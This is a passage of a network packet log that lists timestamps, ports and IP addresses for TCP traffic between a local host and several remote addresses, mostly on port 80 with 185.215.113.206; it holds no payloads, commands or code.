Nov 24, 2024 04:20:23.806926012 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.806972027 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.808167934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.808218002 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.808260918 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.808310032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.809514999 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.809568882 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.809606075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.809699059 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.810909033 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.810959101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.811043024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.811083078 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.812319994 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.812392950 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.812426090 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.812463999 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.813587904 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.813690901 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.813750029 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.814620972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.814941883 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.814981937 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.815052986 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.815140009 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.816303015 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.816358089 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.816400051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.816481113 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.817658901 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.817719936 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.817815065 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.817868948 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.819052935 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.819108963 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.819119930 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.819257021 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.820379972 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.820441008 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.820540905 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.820688963 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.821726084 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.821768999 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.821790934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.821938992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.822982073 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.823055983 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.823092937 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.823220015 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.824194908 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.824264050 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.824306011 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.824347973 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.825402975 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.825464964 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.825506926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.825548887 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.826627016 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.826689959 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.826726913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.826782942 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.827817917 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.827896118 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.827930927 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.828093052 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.829008102 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.829071999 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.829107046 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.829220057 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.830173016 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.830255032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.838381052 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.838448048 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.838491917 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.838526964 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.838970900 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.839025974 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.839111090 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.839241982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.840162039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.840205908 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.840246916 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.840295076 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.841371059 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.841437101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.841453075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.841532946 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.842576981 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.842647076 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.842689991 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.842856884 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.843775988 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.843822002 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.843858004 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.843898058 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.844965935 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.845027924 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.845069885 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.845109940 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.846168995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.846220970 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.846267939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.846317053 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.847378969 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.847428083 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.847476959 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.847904921 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.848577023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.848635912 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.848659992 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.848701954 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.884078026 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:23.886807919 CET	443	49740	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:23.902371883 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:23.902384043 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:23.909210920 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.909230947 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.909290075 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.909316063 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.909668922 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.909719944 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.909755945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.909796953 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.910859108 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.910907030 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.910948992 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.910989046 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.912070036 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.912113905 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.912126064 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.912163973 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.912831068 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:23.912837982 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:23.913250923 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.913302898 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.913355112 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.913404942 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.914450884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.914495945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.914549112 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.915657997 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.915726900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.915769100 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.915858984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.916064978 CET	49740	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:23.916078091 CET	443	49740	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:23.916838884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.916893005 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.916910887 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.916974068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.917438030 CET	49740	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:23.917443991 CET	443	49740	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:23.918060064 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.918118954 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.918121099 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.918159008 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.919287920 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.919364929 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:23.919372082 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.919523954 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:23.947297096 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:23.985930920 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:23.985954046 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:23.986351013 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:23.986356020 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:23.995050907 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.995076895 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.995111942 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.995121956 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.995146036 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:23.995161057 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:23.995203018 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:24.000137091 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.000252962 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.000292063 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.000336885 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.000628948 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.000672102 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.000792980 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.000834942 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.001698017 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.001754045 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.002147913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.002209902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.002281904 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.002334118 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.003310919 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.003367901 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.003463030 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.003750086 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.004359961 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.004491091 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.004548073 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.005449057 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.005517960 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.005578995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.005625010 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.006576061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.006669044 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.006702900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.006702900 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.007663012 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.007767916 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.007785082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.007832050 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.008786917 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.008838892 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.008882046 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.008928061 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.009879112 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.009932041 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.009999990 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.010040998 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.010982990 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.011027098 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.011034012 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.011158943 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.012096882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.012170076 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.012248039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.012300968 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.013205051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.013282061 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.013295889 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.013372898 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.014328957 CET	443	49742	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.014373064 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.014494896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.014554024 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.014919996 CET	49742	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.014930010 CET	443	49742	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.015424967 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.015487909 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.015530109 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.015572071 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.015811920 CET	49742	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:24.015818119 CET	443	49742	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:24.016535044 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.016596079 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.016637087 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.016721964 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.017630100 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.017705917 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.017748117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.017787933 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.018740892 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.018812895 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.018840075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.018882036 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.019866943 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.019921064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.019967079 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.020054102 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.020953894 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.021003962 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.021044970 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.021276951 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.022077084 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.022126913 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.022169113 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.022228003 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.023166895 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.023231030 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.023263931 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.023308992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.024307966 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.024403095 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.024573088 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.024614096 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.025388002 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.025439978 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.025578976 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.025620937 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.026482105 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.026529074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.026664019 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.027192116 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.027592897 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.027638912 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.027678967 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.027744055 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.028712034 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.028767109 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.028809071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.028851986 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.029808998 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.029870033 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.029939890 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.030009985 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.030934095 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.031004906 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.031033039 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.031081915 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.032042980 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.032102108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.032144070 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.032202959 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.033147097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.033219099 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.033243895 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.033334970 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.034252882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.034321070 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.034357071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.034414053 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.035232067 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.035247087 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.035274982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.035352945 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.048388004 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.048475027 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.048520088 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.048588037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.048854113 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.048896074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.048953056 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.049025059 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.049825907 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.049863100 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.050177097 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.050192118 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.050235987 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.051109076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.051182032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.051204920 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.051240921 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.052040100 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.052134037 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.052159071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.052223921 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.053003073 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.053056955 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.053097963 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.053138018 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.053945065 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.054003000 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.054079056 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:24.054172993 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:24.054904938 CET	80	49718	185.215.113.206	192.168.2.6
